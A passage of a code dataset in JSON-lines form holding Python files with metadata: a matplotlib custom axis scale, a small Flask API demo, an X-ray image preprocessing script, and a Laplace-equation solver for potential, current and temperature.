"numpy.linalg", "line_number": 10, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 13, "usage_type": "call"}, {"api_name": "nltk.wordpunct_tokenize", "line_number": 16, "usage_type": "call"}, {"api_name": "constants.PUNCT_SET", "line_number": 18, "usage_type": "argument"}, {"api_name": "typing.List", "line_number": 15, "usage_type": "name"}, {"api_name": "glove.Glove", "line_number": 42, "usage_type": "name"}, {"api_name": "glove.dim", "line_number": 44, "usage_type": "attribute"}, {"api_name": "glove.embeddings", "line_number": 45, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 48, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 48, "usage_type": "attribute"}, {"api_name": "nltk.wordpunct_tokenize", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 53, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 58, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 58, "usage_type": "name"}, {"api_name": "glove.Glove", "line_number": 105, "usage_type": "name"}, {"api_name": "numpy.log", "line_number": 136, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 138, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 138, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 159, "usage_type": "name"}]} {"seq_id": "20431162679", "text": "\n\nimport numpy as np\nfrom numpy import ma\nimport matplotlib\nfrom matplotlib import scale as mscale\nfrom matplotlib import transforms as mtransforms\nfrom matplotlib.ticker import Formatter, FixedLocator, MaxNLocator, AutoLocator\n\nmpl_version = str(matplotlib.__version__).split('.')\n\nclass VerticalSplitScale(mscale.ScaleBase):\n \"\"\"\n Scales data in range -pi/2 to pi/2 (-90 to 90 degrees) using\n the system used to scale latitudes in a Mercator projection.\n\n \"\"\"\n\n # The scale class must have a member ``name`` that defines the\n # string used to select the scale. For example,\n # ``gca().set_yscale(\"splitscale\")`` would be used to select this\n # scale.\n name = 'splitscale'\n\n def __init__(self, axis, **kwargs):\n \"\"\"\n Any keyword arguments passed to ``set_xscale`` and\n ``set_yscale`` will be passed along to the scale's\n constructor.\n\n thresh: The degree above which to crop the data.\n \"\"\"\n mscale.ScaleBase.__init__(self)\n #thresh = kwargs.pop(\"thresh\", (85 / 180.0) * np.pi)\n #if thresh >= np.pi / 2.0:\n # raise ValueError(\"thresh must be less than pi/2\")\n zval = kwargs.pop(\"zval\", None)\n if zval is None:\n raise Exception(\"zval must be specified\")\n if len(zval) < 3:\n raise Exception(\"zval must be at least 3 long\")\n zfrac = kwargs.pop(\"zfrac\", None)\n if zfrac is None:\n zfrac = np.linspace(0., 1., len(zval))\n if len(zfrac) != len(zval):\n raise Exception(\"zval and zfrac must have the same length\")\n #zval[0] = zval[1] + 1e4*(zval[0] - zval[1])\n #zfrac[0] = zfrac[1] + 1e4*(zfrac[0] - zfrac[1])\n #zval[-1] = zval[-2] + 1e4*(zval[-1] - zval[-2])\n #zfrac[-1] = zfrac[-2] + 1e4*(zfrac[-1] - zfrac[-2])\n self.zval = np.array(zval)\n self.zfrac = np.array(zfrac)\n\n def get_transform(self):\n \"\"\"\n Override this method to return a new instance that does the\n actual transformation of the data.\n\n The VerticalSplitScaleTransform class is defined below as a\n nested class of this one.\n \"\"\"\n return self.VerticalSplitScaleTransform(self.zval, self.zfrac)\n\n def set_default_locators_and_formatters(self, axis):\n \"\"\"\n Override to set up the locators and formatters to use with the\n scale. This is only required if the scale requires custom\n locators and formatters. Writing custom locators and\n formatters is rather outside the scope of this example, but\n there are many helpful examples in ``ticker.py``.\n\n In our case, the Mercator example uses a fixed locator from\n -90 to 90 degrees and a custom formatter class to put convert\n the radians to degrees and put a degree symbol after the\n value::\n \"\"\"\n #class DegreeFormatter(Formatter):\n # def __call__(self, x, pos=None):\n # # \\u00b0 : degree symbol\n # return \"%d\\u00b0\" % ((x / np.pi) * 180.0)\n\n #axis.set_major_locator(MaxNLocator(10))\n ticks = None\n for k in range(1,len(self.zval)):\n nbins = 16 * ( self.zfrac[k] - self.zfrac[k-1] )\n newticks = MaxNLocator(nbins=nbins, steps=[1,2,2.5,5,10]).tick_values(self.zval[k-1], self.zval[k])\n if ticks is None: ticks = newticks\n else: ticks = np.append( ticks, newticks )\n ticks = [x for x in ticks if (x>+self.zval.min() and x<=self.zval.max())] # Only used tickes within range\n ticks = np.sort( ticks ) # Fix due to different python versions on PP and workstations!\n axis.set_major_locator( FixedLocator( ticks ) )\n #axis.set_major_locator(AutoLocator())\n #deg2rad = np.pi / 180.0\n #axis.set_major_locator(FixedLocator(\n #np.arange(-90, 90, 10) * deg2rad))\n #axis.set_major_formatter(DegreeFormatter())\n #axis.set_minor_formatter(DegreeFormatter())\n\n def limit_range_for_scale(self, vmin, vmax, minpos):\n \"\"\"\n Override to limit the bounds of the axis to the domain of the\n transform. In the case of Mercator, the bounds should be\n limited to the threshold that was passed in. Unlike the\n autoscaling provided by the tick locators, this range limiting\n will always be adhered to, whether the axis range is set\n manually, determined automatically or changed through panning\n and zooming.\n \"\"\"\n if int(mpl_version[0]) < 2:\n return min(vmin, self.zval[0]), max(vmax, self.zval[-1])\n else:\n return max(vmin, self.zval[0]), min(vmax, self.zval[-1])\n\n class VerticalSplitScaleTransform(mtransforms.Transform):\n # There are two value members that must be defined.\n # ``input_dims`` and ``output_dims`` specify number of input\n # dimensions and output dimensions to the transformation.\n # These are used by the transformation framework to do some\n # error checking and prevent incompatible transformations from\n # being connected together. When defining transforms for a\n # scale, which are, by definition, separable and have only one\n # dimension, these members should always be set to 1.\n input_dims = 1\n output_dims = 1\n is_separable = True\n\n def __init__(self, zval, zfrac):\n mtransforms.Transform.__init__(self)\n self.zval = zval\n self.zfrac = zfrac\n\n def transform_non_affine(self, a):\n \"\"\"\n This transform takes an Nx1 ``numpy`` array and returns a\n transformed copy. Since the range of the Mercator scale\n is limited by the user-specified threshold, the input\n array must be masked to contain only valid values.\n ``matplotlib`` will handle masked arrays and remove the\n out-of-range data from the plot. Importantly, the\n ``transform`` method *must* return an array that is the\n same shape as the input array, since these values need to\n remain synchronized with values in the other dimension.\n \"\"\"\n return np.interp(-a, -self.zval, self.zfrac)\n\n def inverted(self):\n \"\"\"\n Override this method so matplotlib knows how to get the\n inverse transform for this transform.\n \"\"\"\n return VerticalSplitScale.InvertedVerticalSplitScaleTransform(self.zval, self.zfrac)\n\n class InvertedVerticalSplitScaleTransform(mtransforms.Transform):\n input_dims = 1\n output_dims = 1\n is_separable = True\n\n def __init__(self, zval, zfrac):\n mtransforms.Transform.__init__(self)\n self.zval = zval\n self.zfrac = zfrac\n\n def transform_non_affine(self, a):\n #return np.arctan(np.sinh(a))\n #return 0.5*(np.array(a)-1000.)\n return np.interp(a, self.zfrac, -self.zval)\n\n def inverted(self):\n return VerticalSplitScale.VerticalSplitScaleTransform(self.zval, self.zfrac)\n\n# Now that the Scale class has been defined, it must be registered so\n# that ``matplotlib`` can find it.\nmscale.register_scale(VerticalSplitScale)\n\n\nif __name__ == '__main__':\n import matplotlib.pyplot as plt\n\n z = np.linspace(-6500., 0., 43)\n s = -1. * z\n\n plt.plot(s, z, '.-', lw=2)\n plt.axhline(-1000.)\n plt.gca().set_yscale('splitscale', zval=[0.,-1000.,-9000.])\n\n plt.xlabel('Depth')\n plt.ylabel('Z')\n plt.grid(True)\n\n plt.show()\n", "repo_name": "NOAA-GFDL/MOM6-examples", "sub_path": "tools/analysis/VerticalSplitScale.py", "file_name": "VerticalSplitScale.py", "file_ext": "py", "file_size_in_byte": 7581, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 75, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.__version__", "line_number": 10, "usage_type": "attribute"}, {"api_name": "matplotlib.scale.ScaleBase", "line_number": 12, "usage_type": "attribute"}, {"api_name": "matplotlib.scale", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.scale.ScaleBase.__init__", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.scale.ScaleBase", "line_number": 33, "usage_type": "attribute"}, {"api_name": "matplotlib.scale", "line_number": 33, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.ticker.MaxNLocator", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 90, "usage_type": "call"}, {"api_name": "matplotlib.ticker.FixedLocator", "line_number": 91, "usage_type": "call"}, {"api_name": "matplotlib.transforms.Transform", "line_number": 114, "usage_type": "attribute"}, {"api_name": "matplotlib.transforms", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.transforms.Transform.__init__", "line_number": 128, "usage_type": "call"}, {"api_name": "matplotlib.transforms.Transform", "line_number": 128, "usage_type": "attribute"}, {"api_name": "matplotlib.transforms", "line_number": 128, "usage_type": "name"}, {"api_name": "numpy.interp", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.transforms.Transform", "line_number": 153, "usage_type": "attribute"}, {"api_name": "matplotlib.transforms", "line_number": 153, "usage_type": "name"}, {"api_name": "matplotlib.transforms.Transform.__init__", "line_number": 159, "usage_type": "call"}, {"api_name": "matplotlib.transforms.Transform", "line_number": 159, "usage_type": "attribute"}, {"api_name": "matplotlib.transforms", "line_number": 159, "usage_type": "name"}, {"api_name": "numpy.interp", "line_number": 166, "usage_type": "call"}, {"api_name": "matplotlib.scale.register_scale", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.scale", "line_number": 173, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 182, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 182, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 186, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 186, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 187, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 187, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 188, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 188, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 190, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 190, "usage_type": "name"}]} {"seq_id": "34626437712", "text": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Feb 7 14:58:46 2021\r\n\r\n@author: Dell\r\n\"\"\"\r\n\r\nfrom flask import Flask, request,jsonify,render_template\r\nimport requests\r\n# import json\r\n\r\napp=Flask(__name__)\r\n\r\nurl='https://jsonplaceholder.typicode.com/posts'\r\ndata=requests.get(url).json()\r\n\r\n@app.route('/result')\r\ndef result():\r\n start_id=request.args.get('start_id')\r\n end_id=request.args.get('end_id')\r\n # type_=request.args.get('type_')\r\n token=request.args.get('token')\r\n \r\n d=0\r\n if token=='1234':\r\n # with open('posts.json') as g:\r\n # data=json.load(g)\r\n # if type_:\r\n # filename=type_+'.json'\r\n # with open(filename) as f:\r\n # data=json.load(f)\r\n if start_id:\r\n if isinstance(start_id,str): \r\n start_id=int(start_id)\r\n \r\n if end_id: \r\n if isinstance(end_id,str):\r\n end_id=int(end_id)\r\n \r\n \r\n if start_id and end_id:\r\n d=data[start_id:end_id]\r\n elif isinstance(start_id,int):\r\n d=data[start_id]\r\n elif isinstance(end_id,int):\r\n d=data[end_id]\r\n if d==0:\r\n return \"Enter the Start and End ID\"\r\n else:\r\n return jsonify(d)\r\n else:\r\n return \"Authentication Error\"\r\n return 'nothing to show here'\r\n\r\n \r\n\r\n@app.route('/')\r\ndef home_page():\r\n return render_template ('home_page.html')\r\n \r\n\r\nif __name__=='__main__':\r\n app.run(debug=True)\r\n \r\n", "repo_name": "keshavbansal123/Flask", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1554, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Flask", "line_number": 12, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 50, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 59, "usage_type": "call"}]} {"seq_id": "40351599633", "text": "import os\nimport cv2\nimport glob\nfrom PIL import Image, ImageFilter\nimport numpy as np\nimport argparse\nimport scipy.fftpack as fp\n\nim2freq = lambda data: fp.rfft(fp.rfft(data, axis=0), axis=1)\n\ndef equalize_image(path):\n\timg = cv2.imread(path)\n\t#some CXR are saved in RGB....\n\tif len(img.shape) > 1:\n\t\timg = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\t#equ = cv2.equalizeHist(img)\n\tret, equ = cv2.threshold(img, 127, 255,cv2.THRESH_BINARY_INV)\n\t#equ = cv2.clip_hist_percent(img)\n\treturn equ\n\n\ndef clip_hist(path, clip_hist_percent=10):\n\timg = cv2.imread(path)\n\t#some CXR are saved in RGB....\n\tif len(img.shape) > 1:\n\t\timg = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\t# Calculate grayscale histogram\n\thist = cv2.calcHist([img],[0],None,[256],[0,256])\n\thist_size = len(hist)\n\n\t# Calculate cumulative distribution from the histogram\n\taccumulator = []\n\taccumulator.append(float(hist[0]))\n\tfor index in range(1, hist_size):\n\t accumulator.append(accumulator[index -1] + float(hist[index]))\n\n\t# Locate points to clip\n\tmaximum = accumulator[-1]\n\tclip_hist_percent *= (maximum/100.0)\n\tclip_hist_percent /= 2.0\n\n\t# Locate left cut\n\tminimum_gray = 0\n\twhile accumulator[minimum_gray] < clip_hist_percent:\n\t minimum_gray += 1\n\n\t# Locate right cut\n\tmaximum_gray = hist_size -1\n\twhile accumulator[maximum_gray] >= (maximum - clip_hist_percent):\n\t maximum_gray -= 1\n\n\t# Calculate alpha and beta values\n\talpha = 255 / (maximum_gray - minimum_gray)\n\tbeta = -minimum_gray * alpha\n\tauto_result = cv2.convertScaleAbs(img, alpha=alpha, beta=beta)\n\tret, equ = cv2.threshold(auto_result, 127, 255,cv2.THRESH_BINARY_INV)\n\treturn equ\n\n\"\"\"\nEqualize\n\"\"\"\ndef equalize(source_path, target_path):\n\tprint('entro')\n\tfor this_image_path in glob.glob(source_path+'*.png'):\n\t\tprint(this_image_path)\n\t\t#equalized_image = clip_hist(this_image_path)\n\t\tequalized_image = cv2.imread(this_image_path)\n\t\tif len(equalized_image.shape) > 1:\n\t\t\tequalized_image = ~(cv2.cvtColor(equalized_image, cv2.COLOR_BGR2GRAY))\n\t\tequalized_image = equalized_image - equalized_image.min()\n\t\tequalized_image = equalized_image/equalized_image.max()*255\n\t\tequalized_image = equalized_image - equalized_image.min()#cv2.equalizeHist(equalized_image)\n\t\t#equalized_image = cv2.Sobel(equalized_image,cv2.CV_64F,1,0,ksize=5)#cv2.Laplacian(equalized_image,cv2.CV_64F)\n\t\t#thr = int(equalized_image.max()/4)\n\t\t#ret, equalized_image = cv2.threshold(equalized_image, 25, 255,cv2.THRESH_BINARY)\n\n\t\tif (equalized_image.shape[0] > 128) and (equalized_image.shape[1] > 128):\n\t\t\tequalized_image = cv2.copyMakeBorder(equalized_image.copy(),112,112,112,112,cv2.BORDER_CONSTANT,value=[0,0,0])\n\t\t\tbegin_x = int(np.floor((equalized_image.shape[0] - 224)/2))\n\t\t\tbegin_y = int(np.floor((equalized_image.shape[1] - 224)/2))\n\t\t\tcropped_image = equalized_image[begin_x:begin_x+224, begin_y:begin_y+224]\n\t\t\t#freq = im2freq(cropped_image)\n\t\t\t#print(cropped_image.shape)\n\t\t\t#error()\n\t\t\t#cropped_image = cv2.resize(cropped_image, (56,56), interpolation = cv2.INTER_CUBIC)\n\t\t\tcv2.imwrite(target_path + this_image_path.split('/')[-1] ,cropped_image)\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser(description='PyTorch MNIST Example')\n\tparser.add_argument('--input', type=str, default=\"\")\n\tparser.add_argument('--output', type=str, default=\"\")\n\targs = parser.parse_args()\n\tmain_dir = args.output\n\tos.makedirs(main_dir, exist_ok=True)\n\tfor str in ['train', 'test']:\n\t\tthis_dir = main_dir + '/' + str\n\t\tos.makedirs(this_dir, exist_ok=True)\n\t\tfor str2 in ['TA.HG', 'TA.LG']:\n\t\t\tthis_dir_2 = this_dir + '/' + 'TA'\n\t\t\tos.makedirs(this_dir_2, exist_ok=True)\n\t\t\tequalize(args.input + '/' + str + '/' + str2 + '/', this_dir_2 + '/')\n\t\tfor str2 in ['TVA.HG', 'TVA.LG']:\n\t\t\tthis_dir_2 = this_dir + '/' + 'TVA'\n\t\t\tos.makedirs(this_dir_2, exist_ok=True)\n\t\t\tequalize(args.input + '/' + str + '/' + str2 + '/', this_dir_2 + '/')\n", "repo_name": "CLAIRE-COVID/AI-Covid19-preprocessing", "sub_path": "test/pipeline_example.py", "file_name": "pipeline_example.py", "file_ext": "py", "file_size_in_byte": 3835, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "scipy.fftpack.rfft", "line_number": 9, "usage_type": "call"}, {"api_name": "scipy.fftpack", "line_number": 9, "usage_type": "name"}, {"api_name": "cv2.imread", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 17, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 17, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 23, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cv2.calcHist", "line_number": 28, "usage_type": "call"}, {"api_name": "cv2.convertScaleAbs", "line_number": 55, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 56, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY_INV", "line_number": 56, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 67, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 69, "usage_type": "attribute"}, {"api_name": "cv2.copyMakeBorder", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.BORDER_CONSTANT", "line_number": 78, "usage_type": "attribute"}, {"api_name": "numpy.floor", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.floor", "line_number": 80, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 86, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 89, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 94, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 97, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 100, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 104, "usage_type": "call"}]} {"seq_id": "36797162804", "text": "import numpy as np\nimport os,sys\nimport scipy\nimport scipy.linalg as s\nimport matplotlib.pyplot as plt\nimport mpl_toolkits.mplot3d.axes3d as p3\n\n\n#get user inputs\nif(len(sys.argv)==5):\n Nx=int(sys.argv[1])\n Ny=int(sys.argv[2])\n radius=int(sys.argv[3]) \n Niter=int(sys.argv[4])\n print(\"Using user provided params\")\nelse:\n Nx=25 # size along x\n Ny=25 # size along y\n radius=8 #radius of central lead\n Niter=1700 #number of iterations to perform\n print(\"Using defaults. Put all 4 optional parameters if u want to use your own parameters\")\n\n#initialize potential\nphi=np.zeros((Nx,Ny),dtype = float)\nx,y=np.linspace(-0.5,0.5,num=Nx,dtype=float),np.linspace(-0.5,0.5,num=Ny,dtype=float)\nY,X=np.meshgrid(y,x,sparse=False)\nphi[np.where(X**2+Y**2<(0.35)**2)]=1.0\n\n#plot potential\nplt.xlabel(\"X\")\nplt.ylabel(\"Y\")\nplt.contourf(X,Y,phi)\nplt.colorbar()\nplt.show()\n\n#helper functions for the iterations\ndef update_phi(phi,phiold):\n phi[1:-1,1:-1]=0.25*(phiold[1:-1,0:-2]+ phiold[1:-1,2:]+ phiold[0:-2,1:-1] + phiold[2:,1:-1])\n return phi\n\ndef boundary(phi,mask = np.where(X**2+Y**2<(0.35)**2)):\n phi[:,0]=phi[:,1] # Left Boundary\n phi[:,Nx-1]=phi[:,Nx-2] # Right Boundary\n phi[0,:]=phi[1,:] # Top Boundary\n phi[Ny-1,:]=0\n phi[mask]=1.0\n return phi\n\nerr = np.zeros(Niter)\n#the iterations\nfor k in range(Niter):\n phiold = phi.copy()\n phi = update_phi(phi,phiold)\n phi = boundary(phi)\n err[k] = np.max(np.abs(phi-phiold))\n if(err[k] == 0):\n print(\"Reached steady state at \",k,\" Iterations\")\n break\n\n#plotting Error on semilog\nplt.title(\"Error on a semilog plot\")\nplt.xlabel(\"No of iterations\")\nplt.ylabel(\"Error\")\nplt.semilogy(range(Niter),err)\nplt.show()\n#plotting Error on loglog\nplt.title(\"Error on a loglog plot\")\nplt.xlabel(\"No of iterations\")\nplt.ylabel(\"Error\")\nplt.loglog((np.asarray(range(Niter))+1),err)\nplt.loglog((np.asarray(range(Niter))+1)[::50],err[::50],'ro')\nplt.legend([\"real\",\"every 50th value\"])\nplt.show()\n\n#helper function for getting best fit\ndef get_fit(y,Niter,lastn=0):\n log_err = np.log(err)[-lastn:]\n X = np.vstack([(np.arange(Niter)+1)[-lastn:],np.ones(log_err.shape)]).T\n log_err = np.reshape(log_err,(1,log_err.shape[0])).T\n return s.lstsq(X, log_err)[0]\n\n#Helper function to plot errors\ndef plot_error(err,Niter,a,a_,b,b_):\n plt.title(\"Best fit for error on a loglog scale\")\n plt.xlabel(\"No of iterations\")\n plt.ylabel(\"Error\")\n x = np.asarray(range(Niter))+1\n plt.loglog(x,err)\n plt.loglog(x[::100],np.exp(a+b*np.asarray(range(Niter)))[::100],'ro')\n plt.loglog(x[::100],np.exp(a_+b_*np.asarray(range(Niter)))[::100],'go')\n plt.legend([\"errors\",\"fit1\",\"fit2\"])\n plt.show()\n #now semilog\n plt.title(\"Best fit for error on a semilog scale\")\n plt.xlabel(\"No of iterations\")\n plt.ylabel(\"Error\")\n plt.semilogy(x,err)\n plt.semilogy(x[::100],np.exp(a+b*np.asarray(range(Niter)))[::100],'ro')\n plt.semilogy(x[::100],np.exp(a_+b_*np.asarray(range(Niter)))[::100],'go')\n plt.legend([\"errors\",\"fit1\",\"fit2\"])\n plt.show()\n\ndef find_net_error(a,b,Niter):\n return -a/b*np.exp(b*(Niter+0.5))\n\nb,a = get_fit(err,Niter)\nb_,a_ = get_fit(err,Niter,500)\nplot_error(err,Niter,a,a_,b,b_)\n#plotting cumulative error\niter=np.arange(100,1501,100)\nplt.grid(True)\nplt.title(r'Plot of Cumulative Error values On a loglog scale')\n\nplt.loglog(iter,np.abs(find_net_error(a_,b_,iter)),'ro')\nplt.xlabel(\"iterations\")\nplt.ylabel(\"Net maximum error\")\nplt.show()\n\n\n#plotting 2d contour of final potential\nplt.title(\"2D Contour plot of potential\")\nplt.xlabel(\"X\")\nplt.ylabel(\"Y\")\nx_c,y_c=np.where(X**2+Y**2<(0.35)**2)\nplt.plot((x_c-Nx/2)/Nx,(y_c-Ny/2)/Ny,'ro')\nplt.contourf(Y,X[::-1],phi)\nplt.colorbar()\nplt.show()\n\n#plotting 3d contour of final potential\nfig1=plt.figure(4) # open a new figure\nax=p3.Axes3D(fig1) # Axes3D is the means to do a surface plot\nplt.title('The 3-D surface plot of the potential')\nsurf = ax.plot_surface(Y, X, phi.T, rstride=1, cstride=1, cmap=plt.cm.jet)\nplt.show()\n#finding Current density\nJx,Jy = (1/2*(phi[1:-1,0:-2]-phi[1:-1,2:]),1/2*(phi[:-2,1:-1]-phi[2:,1:-1]))\n\n#plotting current density\n\nplt.title(\"Vector plot of current flow\")\nplt.quiver(Y[1:-1,1:-1],-X[1:-1,1:-1],-Jx[:,::-1],-Jy)\nx_c,y_c=np.where(X**2+Y**2<(0.35)**2)\nplt.plot((x_c-Nx/2)/Nx,(y_c-Ny/2)/Ny,'ro')\nplt.show()\n\n\n#initialize temp\ntemp=300 * np.ones((Nx,Ny),dtype = float)\n\n#boundary conditions\ndef temper(phi,mask = np.where(X**2+Y**2<(0.35)**2)):\n phi[:,0]=phi[:,1] # Left Boundary\n phi[:,Nx-1]=phi[:,Nx-2] # Right Boundary\n phi[0,:]=phi[1,:] # Top Boundary\n phi[Ny-1,:]=300.0\n phi[mask]=300.0\n return phi\n\n#laplaces equation\ndef tempdef(temp,oldtemp,Jx,Jy):\n temp[1:-1,1:-1]=0.25*(tempold[1:-1,0:-2]+ tempold[1:-1,2:]+ tempold[0:-2,1:-1] + tempold[2:,1:-1]+(Jx)**2 +(Jy)**2)\n return temp\n\n#the iterations\nfor k in range(Niter):\n tempold = temp.copy()\n temp = tempdef(temp,tempold,Jx,Jy)\n temp = temper(temp)\n\n\n#plotting 2d contour of final temp\nplt.title(\"2D Contour plot of temperature\")\nplt.xlabel(\"X\")\nplt.ylabel(\"Y\")\nplt.contourf(Y,X[::-1],temp)\nplt.colorbar()\nplt.show()\n\n\n\n\n\n\n\n", "repo_name": "AnandGokhale/EE2703", "sub_path": "Week 5/assign5.py", "file_name": "assign5.py", "file_ext": "py", "file_size_in_byte": 5156, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 13, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 14, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.meshgrid", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.contourf", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.semilogy", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": 